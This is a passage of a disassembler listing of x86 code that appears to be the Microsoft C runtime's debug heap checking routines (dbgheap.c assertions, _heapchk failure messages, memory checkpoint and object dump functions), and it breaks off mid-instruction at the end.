sub_419DC0+84j mov edx, [ebp+arg_0] push edx call sub_41A4F0 add esp, 4 test eax, eax jnz short loc_419E40 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 485h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419E40 int 3 ; Trap to Debugger loc_419E40: ; CODE XREF: sub_419DC0+5Dj ; sub_419DC0+7Dj xor eax, eax test eax, eax jnz short loc_419E0F mov ecx, [ebp+arg_0] sub ecx, 20h mov [ebp+var_8], ecx loc_419E4F: ; CODE XREF: sub_419DC0+E6j mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_419EA2 mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 1 jz short loc_419EA2 mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_419EA2 mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jz short loc_419EA2 push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 48Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419EA2 int 3 ; Trap to Debugger loc_419EA2: ; CODE XREF: sub_419DC0+9Dj ; sub_419DC0+A6j ... xor edx, edx test edx, edx jnz short loc_419E4F mov eax, [ebp+var_8] cmp dword ptr [eax+14h], 2 jnz short loc_419EBE cmp [ebp+arg_4], 1 jnz short loc_419EBE mov [ebp+arg_4], 2 loc_419EBE: ; CODE XREF: sub_419DC0+EFj ; sub_419DC0+F5j mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jz short loc_419EF9 loc_419EC7: ; CODE XREF: sub_419DC0+137j mov edx, [ebp+var_8] mov eax, [edx+14h] cmp eax, [ebp+arg_4] jz short loc_419EF3 push offset aPheadNblockuse ; "pHead->nBlockUse == nBlockUse" push 0 push 492h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419EF3 int 3 ; Trap to Debugger loc_419EF3: ; CODE XREF: sub_419DC0+110j ; sub_419DC0+130j xor ecx, ecx test ecx, ecx jnz short loc_419EC7 loc_419EF9: ; CODE XREF: sub_419DC0+105j mov edx, [ebp+var_8] mov eax, [edx+10h] mov [ebp+var_4], eax push 9 call sub_41FBE0 add esp, 4 mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_419DC0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4510C8 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4510C8, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push ebx push esi push edi push 9 call sub_41FB40 add esp, 4 mov eax, [ebp+8] push eax call sub_41A4F0 add esp, 4 test eax, eax jz short loc_419FCC mov ecx, [ebp+8] sub ecx, 20h mov [ebp-4], ecx loc_419F6A: ; CODE XREF: .nsp0:00419FC1j mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_419FBD mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 1 jz short loc_419FBD mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_419FBD mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 3 jz short loc_419FBD push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)" push 0 push 4D3h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_419FBD int 3 ; Trap to Debugger loc_419FBD: ; CODE XREF: .nsp0:00419F78j ; .nsp0:00419F81j ... xor edx, edx test edx, edx jnz short loc_419F6A mov eax, [ebp-4] mov ecx, [ebp+0Ch] mov [eax+14h], ecx loc_419FCC: ; CODE XREF: .nsp0:00419F5Fj push 9 call sub_41FBE0 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, off_451490 mov [ebp-4], eax mov ecx, [ebp+8] mov off_451490, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A000 proc near ; CODE XREF: sub_4199B0+151p ; sub_4199B0+1B7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], 1 loc_41A00E: ; CODE XREF: sub_41A000:loc_41A07Cj mov eax, [ebp+arg_8] mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx test eax, eax jz short loc_41A07E mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, [ebp+arg_4] and ecx, 0FFh mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp eax, ecx jz short loc_41A07C loc_41A03B: ; CODE XREF: sub_41A000+73j mov eax, [ebp+arg_4] and eax, 0FFh push eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, [ecx-1] push edx mov eax, [ebp+arg_0] sub eax, 1 push eax push offset aMemoryCheckErr ; "memory check error at 0x%08X = 0x%02X, "... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_41A06F int 3 ; Trap to Debugger loc_41A06F: ; CODE XREF: sub_41A000+6Cj xor ecx, ecx test ecx, ecx jnz short loc_41A03B mov [ebp+var_4], 0 loc_41A07C: ; CODE XREF: sub_41A000+39j jmp short loc_41A00E ; --------------------------------------------------------------------------- loc_41A07E: ; CODE XREF: sub_41A000+1Cj mov eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41A000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A090 proc near ; CODE XREF: sub_418FC0:loc_418FDCp ; sub_4193C0:loc_419422p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_4], 1 mov eax, dword_4510C0 and eax, 1 test eax, eax jnz short loc_41A0B6 mov eax, 1 jmp loc_41A3E8 ; --------------------------------------------------------------------------- loc_41A0B6: ; CODE XREF: sub_41A090+1Aj push 9 call sub_41FB40 add esp, 4 call sub_420030 mov [ebp+var_C], eax cmp [ebp+var_C], 0FFFFFFFFh jz loc_41A1D9 cmp [ebp+var_C], 0FFFFFFFEh jz loc_41A1D9 mov ecx, [ebp+var_C] mov [ebp+var_18], ecx mov edx, [ebp+var_18] add edx, 6 mov [ebp+var_18], edx cmp [ebp+var_18], 3 ja loc_41A1A2 mov eax, [ebp+var_18] jmp off_41A3EF[eax*4] loc_41A0FF: ; CODE XREF: sub_41A090+93j ; DATA XREF: .nsp0:0041A3FBo push offset a_heapchkFailsW ; "_heapchk fails with _HEAPBADBEGIN.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A11F int 3 ; Trap to Debugger loc_41A11F: ; CODE XREF: sub_41A090+8Cj xor ecx, ecx test ecx, ecx jnz short loc_41A0FF jmp loc_41A1C8 ; --------------------------------------------------------------------------- loc_41A12A: ; CODE XREF: sub_41A090+68j ; sub_41A090+BEj ; DATA XREF: ... push offset a_heapchkFail_0 ; "_heapchk fails with _HEAPBADNODE.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A14A int 3 ; Trap to Debugger loc_41A14A: ; CODE XREF: sub_41A090+B7j xor edx, edx test edx, edx jnz short loc_41A12A jmp short loc_41A1C8 ; --------------------------------------------------------------------------- loc_41A152: ; CODE XREF: sub_41A090+68j ; sub_41A090+E6j ; DATA XREF: ... push offset a_heapchkFail_1 ; "_heapchk fails with _HEAPBADEND.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A172 int 3 ; Trap to Debugger loc_41A172: ; CODE XREF: sub_41A090+DFj xor eax, eax test eax, eax jnz short loc_41A152 jmp short loc_41A1C8 ; --------------------------------------------------------------------------- loc_41A17A: ; CODE XREF: sub_41A090+68j ; sub_41A090+10Ej ; DATA XREF: ... push offset a_heapchkFail_2 ; "_heapchk fails with _HEAPBADPTR.\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A19A int 3 ; Trap to Debugger loc_41A19A: ; CODE XREF: sub_41A090+107j xor ecx, ecx test ecx, ecx jnz short loc_41A17A jmp short loc_41A1C8 ; --------------------------------------------------------------------------- loc_41A1A2: ; CODE XREF: sub_41A090+5Fj ; sub_41A090+136j push offset a_heapchkFail_3 ; "_heapchk fails with unknown return valu"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A1C2 int 3 ; Trap to Debugger loc_41A1C2: ; CODE XREF: sub_41A090+12Fj xor edx, edx test edx, edx jnz short loc_41A1A2 loc_41A1C8: ; CODE XREF: sub_41A090+95j ; sub_41A090+C0j ... push 9 call sub_41FBE0 add esp, 4 xor eax, eax jmp loc_41A3E8 ; --------------------------------------------------------------------------- loc_41A1D9: ; CODE XREF: sub_41A090+3Cj ; sub_41A090+46j mov eax, dword_4EF86C mov [ebp+var_8], eax jmp short loc_41A1EB ; --------------------------------------------------------------------------- loc_41A1E3: ; CODE XREF: sub_41A090:loc_41A3D6j mov ecx, [ebp+var_8] mov edx, [ecx] mov [ebp+var_8], edx loc_41A1EB: ; CODE XREF: sub_41A090+151j cmp [ebp+var_8], 0 jz loc_41A3DB mov [ebp+var_10], 1 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 4 jz short loc_41A230 mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 1 jz short loc_41A230 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh cmp ecx, 2 jz short loc_41A230 mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 3 jnz short loc_41A248 loc_41A230: ; CODE XREF: sub_41A090+17Bj ; sub_41A090+184j ... mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, off_4510D0[ecx*4] mov [ebp+var_14], edx jmp short loc_41A24F ; --------------------------------------------------------------------------- loc_41A248: ; CODE XREF: sub_41A090+19Ej mov [ebp+var_14], offset aDamaged ; "DAMAGED" loc_41A24F: ; CODE XREF: sub_41A090+1B6j push 4 mov al, byte_4510CC push eax mov ecx, [ebp+var_8] add ecx, 1Ch push ecx call sub_41A000 add esp, 0Ch test eax, eax jnz short loc_41A2A4 loc_41A26A: ; CODE XREF: sub_41A090+20Bj mov edx, [ebp+var_8] add edx, 20h push edx mov eax, [ebp+var_8] mov ecx, [eax+18h] push ecx mov edx, [ebp+var_14] push edx push offset aDamageBeforeHs ; "DAMAGE: before %hs block (#%d) at 0x%08"... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_41A297 int 3 ; Trap to Debugger loc_41A297: ; CODE XREF: sub_41A090+204j xor eax, eax test eax, eax jnz short loc_41A26A mov [ebp+var_10], 0 loc_41A2A4: ; CODE XREF: sub_41A090+1D8j push 4 mov cl, byte_4510CC push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] mov ecx, [ebp+var_8] lea edx, [ecx+eax+20h] push edx call sub_41A000 add esp, 0Ch test eax, eax jnz short loc_41A301 loc_41A2C7: ; CODE XREF: sub_41A090+268j mov eax, [ebp+var_8] add eax, 20h push eax mov ecx, [ebp+var_8] mov edx, [ecx+18h] push edx mov eax, [ebp+var_14] push eax push offset aDamageAfterHsB ; "DAMAGE: after %hs block (#%d) at 0x%08X"... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_41A2F4 int 3 ; Trap to Debugger loc_41A2F4: ; CODE XREF: sub_41A090+261j xor ecx, ecx test ecx, ecx jnz short loc_41A2C7 mov [ebp+var_10], 0 loc_41A301: ; CODE XREF: sub_41A090+235j mov edx, [ebp+var_8] cmp dword ptr [edx+14h], 0 jnz short loc_41A35A mov eax, [ebp+var_8] mov ecx, [eax+10h] push ecx mov dl, byte_4510CD push edx mov eax, [ebp+var_8] add eax, 20h push eax call sub_41A000 add esp, 0Ch test eax, eax jnz short loc_41A35A loc_41A32B: ; CODE XREF: sub_41A090+2C1j mov ecx, [ebp+var_8] add ecx, 20h push ecx push offset aDamageOnTopOfF ; "DAMAGE: on top of Free block at 0x%08X."... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A34D int 3 ; Trap to Debugger loc_41A34D: ; CODE XREF: sub_41A090+2BAj xor edx, edx test edx, edx jnz short loc_41A32B mov [ebp+var_10], 0 loc_41A35A: ; CODE XREF: sub_41A090+278j ; sub_41A090+299j cmp [ebp+var_10], 0 jnz short loc_41A3D6 mov eax, [ebp+var_8] cmp dword ptr [eax+8], 0 jz short loc_41A39C loc_41A369: ; CODE XREF: sub_41A090+30Aj mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_14] push edx push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_41A396 int 3 ; Trap to Debugger loc_41A396: ; CODE XREF: sub_41A090+303j xor eax, eax test eax, eax jnz short loc_41A369 loc_41A39C: ; CODE XREF: sub_41A090+2D7j ; sub_41A090+33Dj mov ecx, [ebp+var_8] mov edx, [ecx+10h] push edx mov eax, [ebp+var_8] add eax, 20h push eax mov ecx, [ebp+var_14] push ecx push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."... push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 20h cmp eax, 1 jnz short loc_41A3C9 int 3 ; Trap to Debugger loc_41A3C9: ; CODE XREF: sub_41A090+336j xor edx, edx test edx, edx jnz short loc_41A39C mov [ebp+var_4], 0 loc_41A3D6: ; CODE XREF: sub_41A090+2CEj jmp loc_41A1E3 ; --------------------------------------------------------------------------- loc_41A3DB: ; CODE XREF: sub_41A090+15Fj push 9 call sub_41FBE0 add esp, 4 mov eax, [ebp+var_4] loc_41A3E8: ; CODE XREF: sub_41A090+21j ; sub_41A090+144j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41A090 endp ; --------------------------------------------------------------------------- off_41A3EF dd offset loc_41A17A ; DATA XREF: sub_41A090+68r dd offset loc_41A152 dd offset loc_41A12A dd offset loc_41A0FF align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A400 proc near ; CODE XREF: sub_41B600+A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4510C0 mov [ebp+var_4], eax cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_41A41B mov ecx, [ebp+arg_0] mov dword_4510C0, ecx loc_41A41B: ; CODE XREF: sub_41A400+10j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41A400 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4510C0 and eax, 1 test eax, eax jnz short loc_41A442 jmp short loc_41A493 ; --------------------------------------------------------------------------- loc_41A442: ; CODE XREF: .nsp0:0041A43Ej push 9 call sub_41FB40 add esp, 4 mov ecx, dword_4EF86C mov [ebp-4], ecx jmp short loc_41A45F ; --------------------------------------------------------------------------- loc_41A457: ; CODE XREF: .nsp0:loc_41A487j mov edx, [ebp-4] mov eax, [edx] mov [ebp-4], eax loc_41A45F: ; CODE XREF: .nsp0:0041A455j cmp dword ptr [ebp-4], 0 jz short loc_41A489 mov ecx, [ebp-4] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 4 jnz short loc_41A487 mov eax, [ebp+0Ch] push eax mov ecx, [ebp-4] add ecx, 20h push ecx call dword ptr [ebp+8] add esp, 8 loc_41A487: ; CODE XREF: .nsp0:0041A474j jmp short loc_41A457 ; --------------------------------------------------------------------------- loc_41A489: ; CODE XREF: .nsp0:0041A463j push 9 call sub_41FBE0 add esp, 4 loc_41A493: ; CODE XREF: .nsp0:0041A440j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4A0 proc near ; CODE XREF: sub_41A4F0+19p ; .nsp0:0041A5EAp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jz short loc_41A4DD mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call dword_4F143C ; IsBadReadPtr test eax, eax jnz short loc_41A4DD cmp [ebp+arg_8], 0 jz short loc_41A4D4 mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4F1438 ; IsBadWritePtr test eax, eax jnz short loc_41A4DD loc_41A4D4: ; CODE XREF: sub_41A4A0+20j mov [ebp+var_4], 1 jmp short loc_41A4E4 ; --------------------------------------------------------------------------- loc_41A4DD: ; CODE XREF: sub_41A4A0+8j ; sub_41A4A0+1Aj ... mov [ebp+var_4], 0 loc_41A4E4: ; CODE XREF: sub_41A4A0+3Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_41A4A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4F0 proc near ; CODE XREF: sub_4193C0+1AAp ; sub_4199B0+9Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_41A4FE xor eax, eax jmp short loc_41A572 ; --------------------------------------------------------------------------- loc_41A4FE: ; CODE XREF: sub_41A4F0+8j push 1 push 20h mov eax, [ebp+arg_0] sub eax, 20h push eax call sub_41A4A0 add esp, 0Ch test eax, eax jnz short loc_41A519 xor eax, eax jmp short loc_41A572 ; --------------------------------------------------------------------------- loc_41A519: ; CODE XREF: sub_41A4F0+23j mov ecx, [ebp+arg_0] sub ecx, 20h push ecx call sub_420240 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41A546 mov edx, [ebp+arg_0] sub edx, 20h push edx mov eax, [ebp+var_4] push eax call sub_4202A0 add esp, 8 jmp short loc_41A572 ; --------------------------------------------------------------------------- loc_41A546: ; CODE XREF: sub_41A4F0+3Fj mov ecx, dword_4EF87C and ecx, 8000h test ecx, ecx jz short loc_41A55D mov eax, 1 jmp short loc_41A572 ; --------------------------------------------------------------------------- loc_41A55D: ; CODE XREF: sub_41A4F0+64j mov edx, [ebp+arg_0] sub edx, 20h push edx push 0 mov eax, dword_4EFF80 push eax call dword_4F1440 ; HeapValidate loc_41A572: ; CODE XREF: sub_41A4F0+Cj ; sub_41A4F0+27j ... mov esp, ebp pop ebp retn sub_41A4F0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] push eax call sub_41A4F0 add esp, 4 test eax, eax jnz short loc_41A59B xor eax, eax jmp loc_41A65F ; --------------------------------------------------------------------------- loc_41A59B: ; CODE XREF: .nsp0:0041A592j push 9 call sub_41FB40 add esp, 4 mov ecx, [ebp+8] sub ecx, 20h mov [ebp-4], ecx mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 4 jz short loc_41A5E0 mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 1 jz short loc_41A5E0 mov edx, [ebp-4] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jz short loc_41A5E0 mov ecx, [ebp-4] cmp dword ptr [ecx+14h], 3 jnz short loc_41A653 loc_41A5E0: ; CODE XREF: .nsp0:0041A5BCj ; .nsp0:0041A5C5j ... push 1 mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_41A4A0 add esp, 0Ch test eax, eax jz short loc_41A653 mov ecx, [ebp-4] mov edx, [ecx+10h] cmp edx, [ebp+0Ch] jnz short loc_41A653 mov eax, [ebp-4] mov ecx, [eax+18h] cmp ecx, dword_4510C4 jg short loc_41A653 cmp dword ptr [ebp+10h], 0 jz short loc_41A620 mov edx, [ebp+10h] mov eax, [ebp-4] mov ecx, [eax+18h] mov [edx], ecx loc_41A620: ; CODE XREF: .nsp0:0041A613j cmp dword ptr [ebp+14h], 0 jz short loc_41A631 mov edx, [ebp+14h] mov eax, [ebp-4] mov ecx, [eax+8] mov [edx], ecx loc_41A631: ; CODE XREF: .nsp0:0041A624j cmp dword ptr [ebp+18h], 0 jz short loc_41A642 mov edx, [ebp+18h] mov eax, [ebp-4] mov ecx, [eax+0Ch] mov [edx], ecx loc_41A642: ; CODE XREF: .nsp0:0041A635j push 9 call sub_41FBE0 add esp, 4 mov eax, 1 jmp short loc_41A65F ; --------------------------------------------------------------------------- loc_41A653: ; CODE XREF: .nsp0:0041A5DEj ; .nsp0:0041A5F4j ... push 9 call sub_41FBE0 add esp, 4 xor eax, eax loc_41A65F: ; CODE XREF: .nsp0:0041A596j ; .nsp0:0041A651j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, dword_4F0FB8 mov [ebp-4], eax mov ecx, [ebp+8] mov dword_4F0FB8, ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A690 proc near ; CODE XREF: sub_41AD10+Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi cmp [ebp+arg_0], 0 jnz short loc_41A6CA loc_41A69F: ; CODE XREF: sub_41A690+33j push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A6BF int 3 ; Trap to Debugger loc_41A6BF: ; CODE XREF: sub_41A690+2Cj xor eax, eax test eax, eax jnz short loc_41A69F jmp loc_41A7F3 ; --------------------------------------------------------------------------- loc_41A6CA: ; CODE XREF: sub_41A690+Dj push 9 call sub_41FB40 add esp, 4 mov ecx, [ebp+arg_0] mov edx, dword_4EF86C mov [ecx], edx mov [ebp+var_4], 0 jmp short loc_41A6F1 ; --------------------------------------------------------------------------- loc_41A6E8: ; CODE XREF: sub_41A690+83j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_41A6F1: ; CODE XREF: sub_41A690+56j cmp [ebp+var_4], 5 jge short loc_41A715 mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov dword ptr [edx+ecx*4+18h], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov dword ptr [ecx+eax*4+4], 0 jmp short loc_41A6E8 ; --------------------------------------------------------------------------- loc_41A715: ; CODE XREF: sub_41A690+65j mov edx, dword_4EF86C mov [ebp+var_8], edx jmp short loc_41A728 ; --------------------------------------------------------------------------- loc_41A720: ; CODE XREF: sub_41A690:loc_41A7CCj mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_8], ecx loc_41A728: ; CODE XREF: sub_41A690+8Ej cmp [ebp+var_8], 0 jz loc_41A7D1 mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh test eax, eax jl short loc_41A7A7 mov ecx, [ebp+var_8] mov edx, [ecx+14h] and edx, 0FFFFh cmp edx, 5 jge short loc_41A7A7 mov eax, [ebp+var_8] mov ecx, [eax+14h] and ecx, 0FFFFh mov edx, [ebp+arg_0] mov eax, [edx+ecx*4+4] add eax, 1 mov ecx, [ebp+var_8] mov edx, [ecx+14h] and edx, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+edx*4+4], eax mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov edx, [ecx+eax*4+18h] mov eax, [ebp+var_8] add edx, [eax+10h] mov ecx, [ebp+var_8] mov eax, [ecx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_0] mov [ecx+eax*4+18h], edx jmp short loc_41A7CC ; --------------------------------------------------------------------------- loc_41A7A7: ; CODE XREF: sub_41A690+AFj ; sub_41A690+C0j ... mov edx, [ebp+var_8] push edx push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A7C6 int 3 ; Trap to Debugger loc_41A7C6: ; CODE XREF: sub_41A690+133j xor eax, eax test eax, eax jnz short loc_41A7A7 loc_41A7CC: ; CODE XREF: sub_41A690+115j jmp loc_41A720 ; --------------------------------------------------------------------------- loc_41A7D1: ; CODE XREF: sub_41A690+9Cj mov ecx, [ebp+arg_0] mov edx, dword_4EF874 mov [ecx+2Ch], edx mov eax, [ebp+arg_0] mov ecx, dword_4EF868 mov [eax+30h], ecx push 9 call sub_41FBE0 add esp, 4 loc_41A7F3: ; CODE XREF: sub_41A690+35j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41A690 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov dword ptr [ebp-8], 0 cmp dword ptr [ebp+8], 0 jz short loc_41A822 cmp dword ptr [ebp+0Ch], 0 jz short loc_41A822 cmp dword ptr [ebp+10h], 0 jnz short loc_41A850 loc_41A822: ; CODE XREF: .nsp0:0041A814j ; .nsp0:0041A81Aj ... push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"... push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A842 int 3 ; Trap to Debugger loc_41A842: ; CODE XREF: .nsp0:0041A83Fj xor eax, eax test eax, eax jnz short loc_41A822 mov eax, [ebp-8] jmp loc_41A91C ; --------------------------------------------------------------------------- loc_41A850: ; CODE XREF: .nsp0:0041A820j mov dword ptr [ebp-4], 0 jmp short loc_41A862 ; --------------------------------------------------------------------------- loc_41A859: ; CODE XREF: .nsp0:loc_41A8E7j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_41A862: ; CODE XREF: .nsp0:0041A857j cmp dword ptr [ebp-4], 5 jge loc_41A8EC mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+18h] sub edx, [esi+ecx*4+18h] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+18h], edx mov edx, [ebp-4] mov eax, [ebp+10h] mov ecx, [ebp-4] mov esi, [ebp+0Ch] mov edx, [eax+edx*4+4] sub edx, [esi+ecx*4+4] mov eax, [ebp-4] mov ecx, [ebp+8] mov [ecx+eax*4+4], edx mov edx, [ebp-4] mov eax, [ebp+8] cmp dword ptr [eax+edx*4+18h], 0 jnz short loc_41A8C2 mov ecx, [ebp-4] mov edx, [ebp+8] cmp dword ptr [edx+ecx*4+4], 0 jz short loc_41A8E7 loc_41A8C2: ; CODE XREF: .nsp0:0041A8B3j cmp dword ptr [ebp-4], 0 jz short loc_41A8E7 cmp dword ptr [ebp-4], 2 jnz short loc_41A8E0 cmp dword ptr [ebp-4], 2 jnz short loc_41A8E7 mov eax, dword_4510C0 and eax, 10h test eax, eax jz short loc_41A8E7 loc_41A8E0: ; CODE XREF: .nsp0:0041A8CCj mov dword ptr [ebp-8], 1 loc_41A8E7: ; CODE XREF: .nsp0:0041A8C0j ; .nsp0:0041A8C6j ... jmp loc_41A859 ; --------------------------------------------------------------------------- loc_41A8EC: ; CODE XREF: .nsp0:0041A866j mov ecx, [ebp+10h] mov edx, [ebp+0Ch] mov eax, [ecx+2Ch] sub eax, [edx+2Ch] mov ecx, [ebp+8] mov [ecx+2Ch], eax mov edx, [ebp+10h] mov eax, [ebp+0Ch] mov ecx, [edx+30h] sub ecx, [eax+30h] mov edx, [ebp+8] mov [edx+30h], ecx mov eax, [ebp+8] mov dword ptr [eax], 0 mov eax, [ebp-8] loc_41A91C: ; CODE XREF: .nsp0:0041A84Bj pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A930 proc near ; CODE XREF: sub_41AD10+5Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_8], 0 push 9 call sub_41FB40 add esp, 4 loc_41A94A: ; CODE XREF: sub_41A930+3Ej push offset aDumpingObjects ; "Dumping objects ->\n" push offset aS_25 ; "%s" push 0 push 0 push 0 push 0 call sub_41EED0 add esp, 18h cmp eax, 1 jnz short loc_41A96A int 3 ; Trap to Debugger loc_41A96A: ; CODE XREF: sub_41A930+37j xor eax, eax test eax, eax jnz short loc_41A94A cmp [ebp+arg_0], 0 jz short loc_41A97E mov ecx, [ebp+arg_0] mov edx, 